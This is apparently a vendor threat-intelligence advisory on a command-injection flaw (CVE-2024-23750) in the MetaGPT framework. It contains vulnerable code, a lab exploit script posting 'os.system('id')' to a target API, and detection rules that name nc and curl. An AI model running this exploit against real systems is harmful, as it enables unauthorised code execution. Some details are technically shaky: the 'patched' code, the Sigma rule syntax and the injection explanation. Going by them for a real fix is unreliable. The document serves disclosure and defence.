CVE-2024-23750

Executive Summary

CVE-2024-23750 is a critical OS Command Injection vulnerability in MetaGPT, an open-source multi-agent framework. The flaw resides in the QaEngineer role's RunCode.run_script() method, which passes unsanitized shell metacharacters to subprocess.Popen. This allows an attacker to execute arbitrary operating system commands on the host running MetaGPT. The vulnerability affects all versions up to and including 0.6.4. No official patch has been released as of this analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical severity is high due to the potential for full system compromise.

Supply Chain & Package Security

MetaGPT is a Python package distributed via PyPI. This vulnerability introduces a significant supply chain risk. If an attacker can influence the input to the QaEngineer role (e.g., through a malicious code review request or manipulated task description), they can achieve Remote Code Execution (RCE) on the system running MetaGPT. Organizations using MetaGPT in automated CI/CD pipelines or as a service are particularly vulnerable.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) - The QaEngineer role can be triggered remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - Requires the ability to interact with the MetaGPT system.
• User Interaction (UI): None (N) - The exploit does not require user action beyond normal operation.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): High (H) - Full system read access.
• Integrity (I): High (H) - Full system write access.
• Availability (A): High (H) - Full system denial of service.

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability allows for complete system compromise with low complexity.

Deep Dive & Mechanics

The vulnerability is located in the QaEngineer role, specifically in the RunCode action. The run_script() method is designed to execute code generated by the AI agent. The flaw is that it uses subprocess.Popen with shell=True and passes the user-controlled script content directly to the shell without sanitization.

Vulnerable Code Path:

1. The QaEngineer role receives a task (e.g., "review this code").
2. The AI agent generates a Python script to execute.
3. The RunCode.run_script() method is called with this script.
4. The method constructs a command string and passes it to subprocess.Popen(cmd, shell=True).
5. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) into the script content, which are interpreted by the shell.

Example Injection: If the AI generates a script like:

print("Hello")

An attacker could manipulate the input to be:

print("Hello"); malicious_command

This would result in the shell executing malicious_command after the Python script.

Vulnerable vs. Patched Code

Vulnerable Code (MetaGPT <= 0.6.4):

# metagpt/actions/run_code.py (approximate)
import subprocess

class RunCode:
    def run_script(self, code: str):
        # Vulnerable: shell=True and unsanitized input
        result = subprocess.Popen(code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = result.communicate()
        return stdout, stderr

Patched Code (Hypothetical):

# metagpt/actions/run_code.py (patched)
import subprocess
import shlex

class RunCode:
    def run_script(self, code: str):
        # Patched: Use a list of arguments and avoid shell=True
        # Or sanitize input to remove dangerous characters
        sanitized_code = shlex.quote(code)  # Not sufficient alone
        # Better: Use subprocess.run with a list
        result = subprocess.run(["python", "-c", code], capture_output=True, text=True)
        return result.stdout, result.stderr

Key Differences:

• The patched version avoids shell=True and passes the code as an argument to a specific interpreter (e.g., python -c).
• Input validation and sanitization are added to reject or escape shell metacharacters.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install MetaGPT 0.6.4: pip install metagpt==0.6.4
2. Start the MetaGPT service or use the CLI.
3. Prepare a malicious task that triggers the QaEngineer role.

Exploit Payload:

# Inject into the code parameter
code = """
print("Hello")
import os
os.system('id')  # Command execution
"""

Full Exploit Script:

import requests
import json

# Assuming MetaGPT is running as a web service
url = "http://target:8080/api/run_task"
payload = {
    "role": "QaEngineer",
    "task": "Review this code",
    "code": "print('test'); import os; os.system('id')"
}
response = requests.post(url, json=payload)
print(response.text)

Expected Output: The id command output will be returned in the response, confirming RCE.

Blue Team (Detection & Response)

Detection Strategy:

1. Monitor for unusual shell command execution from the MetaGPT process.
2. Look for subprocess.Popen calls with shell=True in logs.
3. Detect anomalous network connections originating from the MetaGPT host.

Response Steps:

1. Isolate the affected system immediately.
2. Review logs for any executed commands.
3. Check for persistence mechanisms (e.g., cron jobs, SSH keys).
4. Rotate all credentials on the compromised system.
5. Apply the patch or disable the QaEngineer role until a fix is available.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to known command-and-control (C2) servers.
• Unusual DNS queries from the MetaGPT host.

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/.
• Modified system binaries (e.g., /bin/ls replaced with a backdoor).
• New cron jobs or systemd services.

Process IOCs:

• Child processes spawned by the MetaGPT Python process (e.g., bash, sh, nc, curl).
• High CPU usage from unexpected processes.

Log IOCs:

• Entries in /var/log/syslog or /var/log/auth.log showing command execution.
• MetaGPT application logs containing shell metacharacters (e.g., ;, |, &&).

Detection Engineering

YARA Rule

rule CVE_2024_23750_MetaGPT_RCE {
    meta:
        description = "Detects MetaGPT code containing shell metacharacters indicative of CVE-2024-23750 exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23750"
    strings:
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&&"
        $shell_meta4 = "`"
        $shell_meta5 = "$("
        $python_import = "import os"
        $python_subprocess = "subprocess"
    condition:
        any of ($shell_meta*) and ($python_import or $python_subprocess)
}

Sigma Rule

title: CVE-2024-23750 MetaGPT RCE Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of shell commands via MetaGPT's QaEngineer role
author: Valters IT
date: 2024/01/01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: 'python'
        Image|endswith: '/bin/sh' or '/bin/bash'
        CommandLine|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of shell commands by MetaGPT (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23750 MetaGPT RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/run_task"; http_uri; content:"code"; nocase; pcre:"/(;|\||&&|`|\$\().*os\.system/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the QaEngineer role in MetaGPT configuration until a patch is applied.
2. Restrict network access to the MetaGPT service to trusted IPs only.
3. Implement input validation to reject any code containing shell metacharacters.

Long-Term Fix:

1. Patch the code to avoid shell=True and use subprocess.run with a list of arguments.
2. Use a sandboxed environment (e.g., Docker container with no network access) for code execution.
3. Apply the principle of least privilege to the MetaGPT process.

Workaround:

• Replace the RunCode action with a custom implementation that uses exec() in a restricted namespace (still risky) or a containerized execution environment.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact: threatintel@valters-it.com